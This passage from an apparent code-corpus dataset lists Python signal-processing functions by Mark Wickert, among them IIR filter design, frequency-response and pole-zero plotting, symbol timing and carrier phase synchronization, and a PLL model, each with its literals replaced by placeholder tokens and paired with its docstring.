ndarray of the denominator coefficients\nRipple_pass : \nAtten_stop : \nfs : sampling rate in Hz\nftype : Analog prototype from 'butter' 'cheby1', 'cheby2',\n        'ellip', and 'bessel'\n\nReturns\n-------\nb : ndarray of the numerator coefficients\na : ndarray of the denominator coefficients\nsos : 2D ndarray of second-order section coefficients\n\nExamples\n--------\n>>> fs = 48000\n>>> f_pass = 8000\n>>> f_stop = 5000\n>>> b_but,a_but,sos_but = IIR_hpf(f_stop,f_pass,0.5,60,fs,'butter')\n>>> b_cheb1,a_cheb1,sos_cheb1 = IIR_hpf(f_stop,f_pass,0.5,60,fs,'cheby1')\n>>> b_cheb2,a_cheb2,sos_cheb2 = IIR_hpf(f_stop,f_pass,0.5,60,fs,'cheby2')\n>>> b_elli,a_elli,sos_elli = IIR_hpf(f_stop,f_pass,0.5,60,fs,'ellip')\n\nMark Wickert October 2016", "id": "f14906:m2"}
{"signature": "def IIR_bsf(f_pass1, f_stop1, f_stop2, f_pass2, Ripple_pass, Atten_stop, <EOL>fs = <NUM_LIT>, ftype = '<STR_LIT>'):", "body": "b,a = signal.iirdesign([<NUM_LIT:2>*float(f_pass1)/fs, <NUM_LIT:2>*float(f_pass2)/fs],<EOL>[<NUM_LIT:2>*float(f_stop1)/fs, <NUM_LIT:2>*float(f_stop2)/fs],<EOL>Ripple_pass, Atten_stop,<EOL>ftype = ftype, output='<STR_LIT>')<EOL>sos = signal.iirdesign([<NUM_LIT:2>*float(f_pass1)/fs, <NUM_LIT:2>*float(f_pass2)/fs],<EOL>[<NUM_LIT:2>*float(f_stop1)/fs, <NUM_LIT:2>*float(f_stop2)/fs],<EOL>Ripple_pass, Atten_stop,<EOL>ftype =ftype, output='<STR_LIT>')<EOL>tag = '<STR_LIT>' + ftype + '<STR_LIT>'<EOL>print('<STR_LIT>' % (tag,len(a)-<NUM_LIT:1>))<EOL>return b, a, sos<EOL>", "docstring": "Design an IIR bandstop filter using scipy.signal.iirdesign. \nThe filter order is determined based on \nf_pass Hz, f_stop Hz, and the desired stopband attenuation\nd_stop in dB, all relative to a sampling rate of fs Hz.\n\nMark Wickert October 2016", "id": "f14906:m3"}
{"signature": "def freqz_resp_list(b,a=np.array([<NUM_LIT:1>]),mode = '<STR_LIT>',fs=<NUM_LIT:1.0>,Npts = <NUM_LIT>,fsize=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "if type(b) == list:<EOL><INDENT>N_filt = len(b)<EOL><DEDENT>f = np.arange(<NUM_LIT:0>,Npts)/(<NUM_LIT>*Npts)<EOL>for n in range(N_filt):<EOL><INDENT>w,H = signal.freqz(b[n],a[n],<NUM_LIT:2>*np.pi*f)<EOL>if n == <NUM_LIT:0>:<EOL><INDENT>plt.figure(figsize=fsize)<EOL><DEDENT>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f*fs,<NUM_LIT:20>*np.log10(np.abs(H)))<EOL>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>elif mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f*fs,np.angle(H))<EOL>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>elif (mode.lower() == '<STR_LIT>') or (mode.lower() == '<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>theta = np.unwrap(np.angle(H))<EOL>theta2 = np.unwrap(<NUM_LIT:2>*theta)/<NUM_LIT><EOL>theta_dif = np.diff(theta2)<EOL>f_diff = np.diff(f)<EOL>Tg = -np.diff(theta2)/np.diff(w)<EOL>idx = np.nonzero(np.ravel(<NUM_LIT:20>*np.log10(H[:-<NUM_LIT:1>]) < -<NUM_LIT>))[<NUM_LIT:0>]<EOL>Tg[idx] = np.zeros(len(idx))<EOL>max_Tg = np.max(Tg)<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>max_Tg /= fs<EOL>plt.plot(f[:-<NUM_LIT:1>]*fs,Tg/fs)<EOL>plt.ylim([<NUM_LIT:0>,<NUM_LIT>*max_Tg])<EOL><DEDENT>else:<EOL><INDENT>plt.plot(f[:-<NUM_LIT:1>]*fs,Tg)<EOL>plt.ylim([<NUM_LIT:0>,<NUM_LIT>*max_Tg])<EOL><DEDENT>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>s1 = '<STR_LIT>'<EOL>s2 = '<STR_LIT>'<EOL>print(s1 + s2)<EOL><DEDENT><DEDENT>", "docstring": "A method for displaying digital filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreq_resp(self,mode = 'dB',Npts = 1024)\n\nA method for displaying the filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreqz_resp(b,a=[1],mode = 'dB',Npts = 1024,fsize=(6,4))\n\n    b = ndarray of numerator coefficients\n    a = ndarray of denominator coefficents\n mode = display mode: 'dB' magnitude, 'phase' in radians, or \n        'groupdelay_s' in samples and 'groupdelay_t' in sec, \n        all versus frequency in Hz\n Npts = number of points to plot; default is 1024\nfsize = figure size; defult is (6,4) inches\n\nMark Wickert, January 2015", "id": "f14906:m4"}
{"signature": "def freqz_cas(sos,w):", "body": "Ns,Mcol = sos.shape<EOL>w,Hcas = signal.freqz(sos[<NUM_LIT:0>,:<NUM_LIT:3>],sos[<NUM_LIT:0>,<NUM_LIT:3>:],w)<EOL>for k in range(<NUM_LIT:1>,Ns):<EOL><INDENT>w,Htemp = signal.freqz(sos[k,:<NUM_LIT:3>],sos[k,<NUM_LIT:3>:],w)<EOL>Hcas *= Htemp<EOL><DEDENT>return w, Hcas<EOL>", "docstring": "Cascade frequency response\n\nMark Wickert October 2016", "id": "f14906:m5"}
{"signature": "def freqz_resp_cas_list(sos,mode = '<STR_LIT>',fs=<NUM_LIT:1.0>,Npts = <NUM_LIT>,fsize=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "if type(sos) == list:<EOL><INDENT>N_filt = len(sos)<EOL><DEDENT>f = np.arange(<NUM_LIT:0>,Npts)/(<NUM_LIT>*Npts)<EOL>for n in range(N_filt):<EOL><INDENT>w,H = freqz_cas(sos[n],<NUM_LIT:2>*np.pi*f)<EOL>if n == <NUM_LIT:0>:<EOL><INDENT>plt.figure(figsize=fsize)<EOL><DEDENT>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f*fs,<NUM_LIT:20>*np.log10(np.abs(H)))<EOL>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>elif mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.plot(f*fs,np.angle(H))<EOL>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>elif (mode.lower() == '<STR_LIT>') or (mode.lower() == '<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>theta = np.unwrap(np.angle(H))<EOL>theta2 = np.unwrap(<NUM_LIT:2>*theta)/<NUM_LIT><EOL>theta_dif = np.diff(theta2)<EOL>f_diff = np.diff(f)<EOL>Tg = -np.diff(theta2)/np.diff(w)<EOL>idx = np.nonzero(np.ravel(<NUM_LIT:20>*np.log10(H[:-<NUM_LIT:1>]) < -<NUM_LIT>))[<NUM_LIT:0>]<EOL>Tg[idx] = np.zeros(len(idx))<EOL>max_Tg = np.max(Tg)<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>max_Tg /= fs<EOL>plt.plot(f[:-<NUM_LIT:1>]*fs,Tg/fs)<EOL>plt.ylim([<NUM_LIT:0>,<NUM_LIT>*max_Tg])<EOL><DEDENT>else:<EOL><INDENT>plt.plot(f[:-<NUM_LIT:1>]*fs,Tg)<EOL>plt.ylim([<NUM_LIT:0>,<NUM_LIT>*max_Tg])<EOL><DEDENT>if n == N_filt-<NUM_LIT:1>:<EOL><INDENT>plt.xlabel('<STR_LIT>')<EOL>if mode.lower() == '<STR_LIT>':<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.title('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>s1 = '<STR_LIT>'<EOL>s2 = '<STR_LIT>'<EOL>print(s1 + s2)<EOL><DEDENT><DEDENT>", "docstring": "A method for displaying cascade digital filter form frequency response \nmagnitude, phase, and group delay. A plot is produced using matplotlib\n\nfreq_resp(self,mode = 'dB',Npts = 1024)\n\nA method for displaying the filter frequency response magnitude,\nphase, and group delay. A plot is produced using matplotlib\n\nfreqz_resp(b,a=[1],mode = 'dB',Npts = 1024,fsize=(6,4))\n\n    b = ndarray of numerator coefficients\n    a = ndarray of denominator coefficents\n mode = display mode: 'dB' magnitude, 'phase' in radians, or \n        'groupdelay_s' in samples and 'groupdelay_t' in sec, \n        all versus frequency in Hz\n Npts = number of points to plot; default is 1024\nfsize = figure size; defult is (6,4) inches\n\nMark Wickert, January 2015", "id": "f14906:m6"}
{"signature": "def unique_cpx_roots(rlist,tol = <NUM_LIT>):", "body": "uniq = [rlist[<NUM_LIT:0>]]<EOL>mult = [<NUM_LIT:1>]<EOL>for k in range(<NUM_LIT:1>,len(rlist)):<EOL><INDENT>N_uniq = len(uniq)<EOL>for m in range(N_uniq):<EOL><INDENT>if abs(rlist[k]-uniq[m]) <= tol:<EOL><INDENT>mult[m] += <NUM_LIT:1><EOL>uniq[m] = (uniq[m]*(mult[m]-<NUM_LIT:1>) + rlist[k])/float(mult[m])<EOL>break<EOL><DEDENT><DEDENT>uniq = np.hstack((uniq,rlist[k]))<EOL>mult = np.hstack((mult,[<NUM_LIT:1>]))<EOL><DEDENT>return np.array(uniq), np.array(mult)<EOL>", "docstring": "The average of the root values is used when multiplicity \nis greater than one.\n\nMark Wickert October 2016", "id": "f14906:m7"}
{"signature": "def sos_cascade(sos1,sos2):", "body": "return np.vstack((sos1,sos2))<EOL>", "docstring": "Mark Wickert October 2016", "id": "f14906:m8"}
{"signature": "def sos_zplane(sos,auto_scale=True,size=<NUM_LIT:2>,tol = <NUM_LIT>):", "body": "Ns,Mcol = sos.shape<EOL>N_roots = []<EOL>for k in range(Ns):<EOL><INDENT>N_roots_tmp = np.roots(sos[k,:<NUM_LIT:3>])<EOL>if N_roots_tmp[<NUM_LIT:1>] == <NUM_LIT:0.>:<EOL><INDENT>N_roots = np.hstack((N_roots,N_roots_tmp[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>N_roots = np.hstack((N_roots,N_roots_tmp))<EOL><DEDENT><DEDENT>D_roots = []<EOL>for k in range(Ns):<EOL><INDENT>D_roots_tmp = np.roots(sos[k,<NUM_LIT:3>:])<EOL>if D_roots_tmp[<NUM_LIT:1>] == <NUM_LIT:0.>:<EOL><INDENT>D_roots = np.hstack((D_roots,D_roots_tmp[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>D_roots = np.hstack((D_roots,D_roots_tmp))<EOL><DEDENT><DEDENT>x_scale = <NUM_LIT>*size<EOL>y_scale = <NUM_LIT>*size   <EOL>x_off = <NUM_LIT><EOL>y_off = <NUM_LIT><EOL>M = len(N_roots)<EOL>N = len(D_roots)<EOL>if auto_scale:<EOL><INDENT>if M > <NUM_LIT:0> and N > <NUM_LIT:0>:<EOL><INDENT>size = max(np.max(np.abs(N_roots)),np.max(np.abs(D_roots)))+<NUM_LIT><EOL><DEDENT>elif M > <NUM_LIT:0>:<EOL><INDENT>size = max(np.max(np.abs(N_roots)),<NUM_LIT:1.0>)+<NUM_LIT><EOL><DEDENT>elif N > <NUM_LIT:0>:<EOL><INDENT>size = max(<NUM_LIT:1.0>,np.max(np.abs(D_roots)))+<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>size = <NUM_LIT><EOL><DEDENT><DEDENT>plt.figure(figsize=(<NUM_LIT:5>,<NUM_LIT:5>))<EOL>plt.axis('<STR_LIT>')<EOL>r = np.linspace(<NUM_LIT:0>,<NUM_LIT:2>*np.pi,<NUM_LIT:200>)<EOL>plt.plot(np.cos(r),np.sin(r),'<STR_LIT>')<EOL>plt.plot([-size,size],[<NUM_LIT:0>,<NUM_LIT:0>],'<STR_LIT>')<EOL>plt.plot([<NUM_LIT:0>,<NUM_LIT:0>],[-size,size],'<STR_LIT>')<EOL>if M > <NUM_LIT:0>:<EOL><INDENT>N_uniq, N_mult=unique_cpx_roots(N_roots,tol=tol)<EOL>plt.plot(np.real(N_uniq),np.imag(N_uniq),'<STR_LIT>',mfc='<STR_LIT:None>',ms=<NUM_LIT:8>)<EOL>idx_N_mult = np.nonzero(np.ravel(N_mult><NUM_LIT:1>))[<NUM_LIT:0>]<EOL>for k in range(len(idx_N_mult)):<EOL><INDENT>x_loc = np.real(N_uniq[idx_N_mult[k]]) + x_off*x_scale<EOL>y_loc =np.imag(N_uniq[idx_N_mult[k]]) + y_off*y_scale<EOL>plt.text(x_loc,y_loc,str(N_mult[idx_N_mult[k]]),<EOL>ha='<STR_LIT>',va='<STR_LIT>',fontsize=<NUM_LIT:10>)<EOL><DEDENT><DEDENT>if N > <NUM_LIT:0>:<EOL><INDENT>D_uniq, D_mult=unique_cpx_roots(D_roots,tol=tol)<EOL>plt.plot(np.real(D_uniq),np.imag(D_uniq),'<STR_LIT>',ms=<NUM_LIT:8>)<EOL>idx_D_mult = np.nonzero(np.ravel(D_mult><NUM_LIT:1>))[<NUM_LIT:0>]<EOL>for k in range(len(idx_D_mult)):<EOL><INDENT>x_loc = np.real(D_uniq[idx_D_mult[k]]) + x_off*x_scale<EOL>y_loc =np.imag(D_uniq[idx_D_mult[k]]) + y_off*y_scale<EOL>plt.text(x_loc,y_loc,str(D_mult[idx_D_mult[k]]),<EOL>ha='<STR_LIT>',va='<STR_LIT>',fontsize=<NUM_LIT:10>)            <EOL><DEDENT><DEDENT>if M - N < <NUM_LIT:0>:<EOL><INDENT>plt.plot(<NUM_LIT:0.0>,<NUM_LIT:0.0>,'<STR_LIT>',mfc='<STR_LIT:None>',ms=<NUM_LIT:8>)<EOL><DEDENT>elif M - N > <NUM_LIT:0>:<EOL><INDENT>plt.plot(<NUM_LIT:0.0>,<NUM_LIT:0.0>,'<STR_LIT>',ms=<NUM_LIT:8>)<EOL><DEDENT>if abs(M - N) > <NUM_LIT:1>:<EOL><INDENT>plt.text(x_off*x_scale,y_off*y_scale,str(abs(M-N)),<EOL>ha='<STR_LIT>',va='<STR_LIT>',fontsize=<NUM_LIT:10>)        <EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.axis([-size,size,-size,size])<EOL>return M,N<EOL>", "docstring": "Create an z-plane pole-zero plot.\n\nCreate an z-plane pole-zero plot using the numerator\nand denominator z-domain system function coefficient\nndarrays b and a respectively. Assume descending powers of z.\n\nParameters\n----------\nsos : ndarray of the sos coefficients\nauto_scale : bool (default True)\nsize : plot radius maximum when scale = False\n\nReturns\n-------\n(M,N) : tuple of zero and pole counts + plot window\n\nNotes\n-----\nThis function tries to identify repeated poles and zeros and will \nplace the multiplicity number above and to the right of the pole or zero.\nThe difficulty is setting the tolerance for this detection. Currently it\nis set at 1e-3 via the function signal.unique_roots.\n\nExamples\n--------\n>>> # Here the plot is generated using auto_scale\n>>> sos_zplane(sos)\n>>> # Here the plot is generated using manual scaling\n>>> sos_zplane(sos,False,1.5)", "id": "f14906:m9"}
{"signature": "def NDA_symb_sync(z,Ns,L,BnTs,zeta=<NUM_LIT>,I_ord=<NUM_LIT:3>):", "body": "<EOL>K0 = -<NUM_LIT:1.0> <EOL>Kp = <NUM_LIT:1.0><EOL>K1 = <NUM_LIT:4>*zeta/(zeta + <NUM_LIT:1>/(<NUM_LIT:4>*zeta))*BnTs/Ns/Kp/K0<EOL>K2 = <NUM_LIT:4>/(zeta + <NUM_LIT:1>/(<NUM_LIT:4>*zeta))**<NUM_LIT:2>*(BnTs/Ns)**<NUM_LIT:2>/Kp/K0<EOL>zz = np.zeros(len(z),dtype=np.complex128)<EOL>e_tau = np.zeros(len(z))<EOL>c1_buff = np.zeros(<NUM_LIT:2>*L+<NUM_LIT:1>)<EOL>vi = <NUM_LIT:0><EOL>CNT_next = <NUM_LIT:0><EOL>mu_next = <NUM_LIT:0><EOL>underflow = <NUM_LIT:0><EOL>epsilon = <NUM_LIT:0><EOL>mm = <NUM_LIT:1><EOL>z = np.hstack(([<NUM_LIT:0>], z))<EOL>for nn in range(<NUM_LIT:1>,Ns*int(np.floor(len(z)/float(Ns)-(Ns-<NUM_LIT:1>)))):<EOL><INDENT>CNT = CNT_next<EOL>mu = mu_next<EOL>if underflow == <NUM_LIT:1>:<EOL><INDENT>if I_ord == <NUM_LIT:1>:<EOL><INDENT>z_interp = mu*z[nn] + (<NUM_LIT:1> - mu)*z[nn-<NUM_LIT:1>]<EOL><DEDENT>elif I_ord == <NUM_LIT:2>:<EOL><INDENT>v2 = <NUM_LIT:1>/<NUM_LIT>*np.sum(z[nn+<NUM_LIT:2>:nn-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, <NUM_LIT:1>])<EOL>v1 = <NUM_LIT:1>/<NUM_LIT>*np.sum(z[nn+<NUM_LIT:2>:nn-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[-<NUM_LIT:1>, <NUM_LIT:3>, -<NUM_LIT:1>, -<NUM_LIT:1>])<EOL>v0 = z[nn]<EOL>z_interp = (mu*v2 + v1)*mu + v0<EOL><DEDENT>elif I_ord == <NUM_LIT:3>:<EOL><INDENT>v3 = np.sum(z[nn+<NUM_LIT:2>:nn-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[<NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>, <NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>])<EOL>v2 = np.sum(z[nn+<NUM_LIT:2>:nn-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[<NUM_LIT:0>, <NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>, <NUM_LIT:1>/<NUM_LIT>])<EOL>v1 = np.sum(z[nn+<NUM_LIT:2>:nn-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[-<NUM_LIT:1>/<NUM_LIT>, <NUM_LIT:1>, -<NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>])<EOL>v0 = z[nn]<EOL>z_interp = ((mu*v3 + v2)*mu + v1)*mu + v0<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>c1 = <NUM_LIT:0><EOL>for kk in range(Ns):<EOL><INDENT>if I_ord == <NUM_LIT:1>:<EOL><INDENT>z_TED_interp = mu*z[nn+kk] + (<NUM_LIT:1> - mu)*z[nn-<NUM_LIT:1>+kk]<EOL><DEDENT>elif I_ord == <NUM_LIT:2>:<EOL><INDENT>v2 = <NUM_LIT:1>/<NUM_LIT>*np.sum(z[nn+kk+<NUM_LIT:2>:nn+kk-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, <NUM_LIT:1>])<EOL>v1 = <NUM_LIT:1>/<NUM_LIT>*np.sum(z[nn+kk+<NUM_LIT:2>:nn+kk-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[-<NUM_LIT:1>, <NUM_LIT:3>, -<NUM_LIT:1>, -<NUM_LIT:1>])<EOL>v0 = z[nn+kk]<EOL>z_TED_interp = (mu*v2 + v1)*mu + v0<EOL><DEDENT>elif I_ord == <NUM_LIT:3>:<EOL><INDENT>v3 = np.sum(z[nn+kk+<NUM_LIT:2>:nn+kk-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[<NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>, <NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>])<EOL>v2 = np.sum(z[nn+kk+<NUM_LIT:2>:nn+kk-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[<NUM_LIT:0>, <NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>, <NUM_LIT:1>/<NUM_LIT>])<EOL>v1 = np.sum(z[nn+kk+<NUM_LIT:2>:nn+kk-<NUM_LIT:1>-<NUM_LIT:1>:-<NUM_LIT:1>]*[-<NUM_LIT:1>/<NUM_LIT>, <NUM_LIT:1>, -<NUM_LIT:1>/<NUM_LIT>, -<NUM_LIT:1>/<NUM_LIT>])<EOL>v0 = z[nn+kk]<EOL>z_TED_interp = ((mu*v3 + v2)*mu + v1)*mu + v0<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>c1 = c1 + np.abs(z_TED_interp)**<NUM_LIT:2> * np.exp(-<NUM_LIT>*<NUM_LIT:2>*np.pi/Ns*kk)<EOL><DEDENT>c1 = c1/Ns<EOL>c1_buff = np.hstack(([c1], c1_buff[:-<NUM_LIT:1>]))<EOL>epsilon = -<NUM_LIT:1>/(<NUM_LIT:2>*np.pi)*np.angle(np.sum(c1_buff)/(<NUM_LIT:2>*L+<NUM_LIT:1>))<EOL>zz[mm] = z_interp<EOL>e_tau[mm] = epsilon <EOL>mm += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>vp = K1*epsilon       <EOL>vi = vi + K2*epsilon  <EOL>v = vp + vi           <EOL>W = <NUM_LIT:1>/float(Ns) + v          <EOL>CNT_next = CNT - W           <EOL>if CNT_next < <NUM_LIT:0>:             <EOL><INDENT>CNT_next = <NUM_LIT:1> + CNT_next  <EOL>underflow = <NUM_LIT:1>            <EOL>mu_next = CNT/W          <EOL><DEDENT>else:<EOL><INDENT>underflow = <NUM_LIT:0><EOL>mu_next = mu<EOL><DEDENT><DEDENT>zz = zz[:-(len(zz)-mm+<NUM_LIT:1>)]<EOL>zz /=np.std(zz)<EOL>e_tau = e_tau[:-(len(e_tau)-mm+<NUM_LIT:1>)]<EOL>return zz, e_tau<EOL>", "docstring": "zz,e_tau = NDA_symb_sync(z,Ns,L,BnTs,zeta=0.707,I_ord=3)\n\n       z = complex baseband input signal at nominally Ns samples\n           per symbol\n      Ns = Nominal number of samples per symbol (Ts/T) in the symbol \n           tracking loop, often 4\n    BnTs = time bandwidth product of loop bandwidth and the symbol period,\n           thus the loop bandwidth as a fraction of the symbol rate.\n    zeta = loop damping factor\n   I_ord = interpolator order, 1, 2, or 3\n\n   e_tau = the timing error e(k) input to the loop filter\n\n      Kp = The phase detector gain in the symbol tracking loop; for the\n           NDA algoithm used here always 1\n\nMark Wickert July 2014\n\nMotivated by code found in M. Rice, Digital Communications A Discrete-Time \nApproach, Prentice Hall, New Jersey, 2009. (ISBN 978-0-13-030497-1).", "id": "f14907:m0"}
{"signature": "def DD_carrier_sync(z,M,BnTs,zeta=<NUM_LIT>,type=<NUM_LIT:0>):", "body": "Ns = <NUM_LIT:1><EOL>Kp = np.sqrt(<NUM_LIT>) <EOL>z_prime = np.zeros_like(z)<EOL>a_hat = np.zeros_like(z)<EOL>e_phi = np.zeros(len(z))<EOL>theta_h = np.zeros(len(z))<EOL>theta_hat = <NUM_LIT:0><EOL>K0 = <NUM_LIT:1>;<EOL>K1 = <NUM_LIT:4>*zeta/(zeta + <NUM_LIT:1>/(<NUM_LIT:4>*zeta))*BnTs/Ns/Kp/K0;<EOL>K2 = <NUM_LIT:4>/(zeta + <NUM_LIT:1>/(<NUM_LIT:4>*zeta))**<NUM_LIT:2>*(BnTs/Ns)**<NUM_LIT:2>/Kp/K0;<EOL>vi = <NUM_LIT:0><EOL>for nn in range(len(z)):<EOL><INDENT>z_prime[nn] = z[nn]*np.exp(-<NUM_LIT>*theta_hat)<EOL>if M == <NUM_LIT:2>:<EOL><INDENT>a_hat[nn] = np.sign(z_prime[nn].real) + <NUM_LIT>*<NUM_LIT:0><EOL><DEDENT>elif M == <NUM_LIT:4>:<EOL><INDENT>a_hat[nn] = np.sign(z_prime[nn].real) + <NUM_LIT>*np.sign(z_prime[nn].imag)<EOL><DEDENT>elif M == <NUM_LIT:8>:<EOL><INDENT>a_hat[nn] = np.angle(z_prime[nn])/(<NUM_LIT:2>*np.pi/<NUM_LIT>)<EOL>a_hat[nn] = np.mod(round(a_hat[nn]),<NUM_LIT:8>)<EOL>a_hat[nn] = np.exp(<NUM_LIT>*<NUM_LIT:2>*np.pi*a_hat[nn]/<NUM_LIT:8>)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if type == <NUM_LIT:0>:<EOL><INDENT>e_phi[nn] = z_prime[nn].imag * a_hat[nn].real -z_prime[nn].real * a_hat[nn].imag<EOL><DEDENT>elif type == <NUM_LIT:1>:<EOL><INDENT>e_phi[nn] = np.angle(z_prime[nn]) - np.angle(a_hat[nn])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>vp = K1*e_phi[nn]      <EOL>vi = vi + K2*e_phi[nn] <EOL>v = vp + vi        <EOL>theta_hat = np.mod(theta_hat + v,<NUM_LIT:2>*np.pi)<EOL>theta_h[nn] = theta_hat <EOL><DEDENT>return z_prime, a_hat, e_phi, theta_h<EOL>", "docstring": "z_prime,a_hat,e_phi = DD_carrier_sync(z,M,BnTs,zeta=0.707,type=0)\nDecision directed carrier phase tracking\n\n       z = complex baseband PSK signal at one sample per symbol\n       M = The PSK modulation order, i.e., 2, 8, or 8.\n    BnTs = time bandwidth product of loop bandwidth and the symbol period,\n           thus the loop bandwidth as a fraction of the symbol rate.\n    zeta = loop damping factor\n    type = Phase error detector type: 0 <> ML, 1 <> heuristic\n\n z_prime = phase rotation output (like soft symbol values)\n   a_hat = the hard decision symbol values landing at the constellation\n           values\n   e_phi = the phase error e(k) into the loop filter\n\n      Ns = Nominal number of samples per symbol (Ts/T) in the carrier \n           phase tracking loop, almost always 1\n      Kp = The phase detector gain in the carrier phase tracking loop; \n           This value depends upon the algorithm type. For the ML scheme\n           described at the end of notes Chapter 9, A = 1, K 1/sqrt(2),\n           so Kp = sqrt(2).\n\nMark Wickert July 2014\n\nMotivated by code found in M. Rice, Digital Communications A Discrete-Time \nApproach, Prentice Hall, New Jersey, 2009. (ISBN 978-0-13-030497-1).", "id": "f14907:m1"}
{"signature": "def time_step(z,Ns,t_step,Nstep):", "body": "z_step = np.hstack((z[:Ns*Nstep], z[(Ns*Nstep+t_step):], np.zeros(t_step)))<EOL>return z_step<EOL>", "docstring": "Create a one sample per symbol signal containing a phase rotation\nstep Nsymb into the waveform.\n\n:param z: complex baseband signal after matched filter\n:param Ns: number of sample per symbol\n:param t_step: in samples relative to Ns\n:param Nstep: symbol sample location where the step turns on\n:return: the one sample per symbol signal containing the phase step\n\nMark Wickert July 2014", "id": "f14907:m2"}
{"signature": "def phase_step(z,Ns,p_step,Nstep):", "body": "nn = np.arange(<NUM_LIT:0>,len(z[::Ns]))<EOL>theta = np.zeros(len(nn))<EOL>idx = np.where(nn >= Nstep)<EOL>theta[idx] = p_step*np.ones(len(idx))<EOL>z_rot = z[::Ns]*np.exp(<NUM_LIT>*theta)<EOL>return z_rot<EOL>", "docstring": "Create a one sample per symbol signal containing a phase rotation\nstep Nsymb into the waveform.\n\n:param z: complex baseband signal after matched filter\n:param Ns: number of sample per symbol\n:param p_step: size in radians of the phase step\n:param Nstep: symbol sample location where the step turns on\n:return: the one sample symbol signal containing the phase step\n\nMark Wickert July 2014", "id": "f14907:m3"}
{"signature": "def PLL1(theta,fs,loop_type,Kv,fn,zeta,non_lin):", "body": "T = <NUM_LIT:1>/float(fs)<EOL>Kv = <NUM_LIT:2>*np.pi*Kv <EOL>if loop_type == <NUM_LIT:1>:<EOL><INDENT>K = <NUM_LIT:2>*np.pi*fn <EOL><DEDENT>elif loop_type == <NUM_LIT:2>:<EOL><INDENT>K = <NUM_LIT:4> *np.pi*zeta*fn <EOL>tau2 = zeta/(np.pi*fn)<EOL><DEDENT>elif loop_type == <NUM_LIT:3>:<EOL><INDENT>K = Kv <EOL>tau1 = K/((<NUM_LIT:2>*np.pi*fn)**<NUM_LIT:2>)<EOL>tau2 = <NUM_LIT:2>*zeta/(<NUM_LIT:2>*np.pi*fn)*(<NUM_LIT:1> - <NUM_LIT:2>*np.pi*fn/K*<NUM_LIT:1>/(<NUM_LIT:2>*zeta))<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>filt_in_last = <NUM_LIT:0>; filt_out_last = <NUM_LIT:0>;<EOL>vco_in_last = <NUM_LIT:0>; vco_out = <NUM_LIT:0>; vco_out_last = <NUM_LIT:0>;<EOL>n = 